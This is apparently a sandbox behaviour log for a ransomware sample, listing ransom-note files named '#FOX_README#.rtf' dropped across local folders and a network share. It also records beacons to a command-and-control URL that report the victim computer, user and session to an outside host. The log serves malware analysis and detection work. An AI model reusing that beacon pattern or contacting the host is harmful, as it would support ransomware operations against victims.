created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\tr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{5096fe5b-1175-4df0-aabb-4abdf85cf587}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\bin\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\bin\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Cache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\id\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\HoloItemPlayerApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\SmsRouter\MessageStore\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\jfr\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\HoloCamera_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\280809\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Favorites\Links\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\0000DDFC\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ka\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\ext\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\browser\VisualElements\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nb-NO\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310093\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tk-TM\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe HTTP URL 13 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=N9JBFkHbeUm4Ir1M&phase=START Process not Found File created C:\Program Files (x86)\Google\Chrome\Application\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\en\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\vi\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#FOX_README#.rtf NW6U7626.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bg\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\ClickToRun\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sv\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\include\win32\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nso-ZA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\lv\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\zh-CN\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Documents\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\Vault\AC658CB4-9126-49BD-B877-31EEDAB3F204\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0lj62mcv.default-release\cache2\entries\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\sv\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\db\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bn-BD\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\vcRuntimeAdditional_amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\storage\default\moz-extension+++f67dd35a-b17e-4b36-83c6-ae65dc2901f7^userContextId=4294967295\idb\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\_platform_specific\win_x64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\Network\Downloader\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\az-Latn-AZ\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ti\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Oracle\Java\installcache_x64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tn-ZA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Oracle\Java\AU\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\w1jzjrvy.Admin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Pictures\Saved Pictures\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\requests\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\el\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fa\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\quc\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cookie\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\OneDrive\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\browser\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\uk\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\wo\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\km-KH\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\#FOX_README#.rtf NW6U7626.exe HTTP URL 166 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=N9JBFkHbeUm4Ir1M&phase=FINISH Process not Found HTTP URL 290 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=HvbJpdx305VelTNl&phase=40CD4EECB9B1AE0B|3084|1GB Process not Found File created C:\ProgramData\Package Cache\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}v14.21.27702\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\280807\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Downloads\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#FOX_README#.rtf 